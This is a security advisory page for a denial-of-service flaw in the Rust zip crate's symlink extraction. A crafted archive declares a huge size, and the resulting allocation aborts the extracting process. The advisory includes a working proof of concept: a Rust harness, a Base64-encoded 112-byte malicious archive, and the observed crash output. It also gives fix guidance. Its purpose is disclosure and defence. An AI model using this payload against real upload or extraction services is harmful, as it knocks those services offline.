GHSA-q7v9-x93c-xqv3: zip: Unbounded Symlink-Target Handling Can Abort Or Exhaust Memory During Extraction

Published Oct 29, 2026
·
Updated

Summary

The symbolic-link branch of ZipArchive::extractinternal() allocates a buffer using an attacker-declared size before reading any entry data. A 112-byte archive terminates the extracting process with SIGABRT through this infallible allocation.

Details

rust #[cfg(any(unix, windows))] if file.issymlink() { let mut target = Vec::withcapacity(file.size() as usize); // @audit unbounded memory allocation file.readtoend(&mut target)?; drop(file); makesymlink(&outpath, &target, &self.shared.files)?; continue; }

src/read/mod.rs#L399-L405 (reviewed commit 6f09b306); the same code is at src/read.rs#L417-L418 in released v8.6.0.

Both inputs are attacker-controlled:

- ZipFile::size() returns uncompressedsize verbatim from the central directory record. A ZIP64 extended-information extra field widens it to a full u64 (src/read/mod.rs#L619-L625). It is never cross-checked against the compressed size, the remaining archive length, or any platform-appropriate bound for a symlink target. - ZipFile::issymlink() is decided entirely by the central directory's external-attributes field, via the SIFLNK bit.

Memory allocation failure → uncatchable process abort. The reservation is sized from the declared uncompressedsize before a single byte of the entry is read. Vec::withcapacity() is infallible: on allocator refusal it calls handleallocerror(), which aborts the process. This is not a Rust panic — it is not caught by catchunwind(), is unaffected by panic = "unwind", and is not contained by isolating the call in a worker thread. This was verified by wrapping the call in all three at once; the process still died with exit 134.

The declared value needed is a property of the host's address space, not of reachability. On a 64 GB host with heuristic overcommit, declared sizes from roughly 2^38 upward abort reliably. Sizes at or above 2^63 instead trip Vec's internal capacity check and produce a catchable capacity overflow panic, so an attacker simply avoids that band. The reproducer declares 2^62, which exceeds the 47-bit user address space of x86-64 Linux outright and therefore aborts deterministically regardless of installed RAM or overcommit policy. Under a ulimit -v cap or a memory-constrained container the threshold drops far enough that a plain 32-bit uncompressedsize with no ZIP64 field suffices — a virtual-memory limit lowers the bar rather than mitigating the defect.

This is process termination, not memory exhaustion: Vec::withcapacity() only maps address space and never touches pages, so resident memory stays flat and the abort happens on the refused reservation itself, before any byte is read.

PoC

The reproducer consists of the following zip harness and payload. It requires only the zip crate; use a standard Base64 decoder to materialise the archive before running it.

toml [package] name = "zip-poc" version = "0.1.0" edition = "2021"

[dependencies] zip = "8.6.0"

rust use std::{env, fs::File, io::BufReader};

fn main() { let archivepath = env::args().nth(1).expect("usage: poc <archive.zip>"); let outdir = std::env::tempdir().join("zip-poc"); std::fs::createdirall(&outdir).unwrap();

let file = File::open(archivepath).unwrap(); let mut archive = zip::ZipArchive::new(BufReader::new(file)).unwrap(); let r = archive.extract(&outdir); // <-- process dies here println!("SURVIVED: {:?}", r); }

Save the Base64 payload below as archive.b64, remove its whitespace, decode it with a standard Base64 decoder (for example, base64 -d archive.b64 > archive.zip on Linux), and run cargo run --release -- archive.zip.

Uncatchable abort — 112 bytes. One Stored entry named a; external attributes 0xA1FF0000 (SIFLNK|0777); ZIP64 extra field declaring uncompressedsize = 2^62; zero-byte payload. sha256 0c68c3934f22651a6bd2726f7d58140124b1839196a1d0ae468864cdfda74676.

UEsDBC0AAAAAAAAAAAAAAAAAAAAAAP////8BAAAAYVBLAQItAy0AAAAAAAAAAAAAAAAAAAAAAP// //8BAAwAAAAAAAAAAAD/oQAAAABhAQAIAAAAAAAAAABAUEsFBgAAAAABAAEAOwAAAB8AAAAAAA==

Observed on x86-64 Linux, rustc 1.93.1, release profile, against both the reviewed commit and released v8.6.0:

entries=1 memory allocation of 4611686018427387904 bytes failed Aborted (core dumped) # exit 134

The SURVIVED line never prints. Wrapping extract() in catchunwind inside a spawned thread with panic = "unwind" produces the identical outcome.

Impact

Applications running on Unix or Windows targets that call ZipArchive::extract() on attacker-supplied input are affected, with default features and no special configuration. The malicious 112-byte archive causes an unrecoverable, uncatchable termination of the extracting process, repeatable at will and not mitigable at the call site with catchunwind, a worker thread, or a pre-flight metadata check.

Upload handling, mail-attachment processing, package and artefact ingestion, backup restore and container-image layer extraction all match this pattern. No confidentiality or integrity property is affected: no memory unsafety, no out-of-bounds access, no disclosure and no data corruption.

Suggested remediation

Before allocating, compare file.size() with a documented, platform-appropriate maximum symlink-target length and reject entries that exceed it. Alternatively, replace Vec::withcapacity() with fallible tryreserve() and return an I/O error when allocation fails. Do not use Linux's PATHMAX as a cross-platform contract.

Apply the allocation fix to src/read/stream.rs as defence-in-depth, although its symlink path is currently unreachable because streaming entries have no symlink attributes.

For reference, the crate already applies exactly this defence to another untrusted size on the same path: ZipArchive::new() clamps a suspicious numberoffiles to zero and explicitly rejects an oversized central directory before reserving (src/read/ziparchive.rs#L185-L202). The symlink branch received neither guard. A survey of Vec::withcapacity across src/ finds exactly two sites sized from untrusted input: src/read/mod.rs:401 and src/read/stream.rs:73.

Affected Software

1 affected componentFixes available
rust/zip>=1.3.0<9.0.0
9.0.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade rust/zip to a version that resolves this vulnerability.

    Fixed in 9.0.0
  2. Compensating control

    Before allocating a symlink-target buffer, compare the attacker-controlled file.size() with a documented, platform-appropriate maximum symlink-target length and reject entries that exceed that limit; apply this guard in the symlink extraction path and as defense-in-depth in src/read/stream.rs. Do not use Linux PATH_MAX as a cross-platform contract.

  3. Compensating control

    Replace the attacker-sized Vec::with_capacity() allocations at src/read/mod.rs:401 and src/read/stream.rs:73 with fallible try_reserve() allocation and return an I/O error when reservation fails.

Event History

Oct 29, 2026
Advisory Published
via GitHub·04:40 PM
Data Sourced
via GitHub·04:40 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Who is exposed to this issue?

Applications using rust/zip to extract attacker-controlled ZIP archives are exposed when extraction processes symbolic-link entries on Unix or Windows. The attacker does not need credentials or user interaction beyond having a crafted archive processed.

2

What does an attacker need to include in a malicious archive?

The archive must contain a symbolic-link entry whose declared uncompressed size is attacker controlled. The extractor uses that declared size to reserve memory before it reads the entry data; ZIP64 metadata can supply a full 64-bit size.

3

How can I determine whether my application is affected?

Check whether your application extracts untrusted ZIP files with rust/zip and permits the symbolic-link extraction path. The described vulnerable code is present in released v8.6.0 and in reviewed commit 6f09b3064ec87c3a69ea9f3413f9f9638b4aa446.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203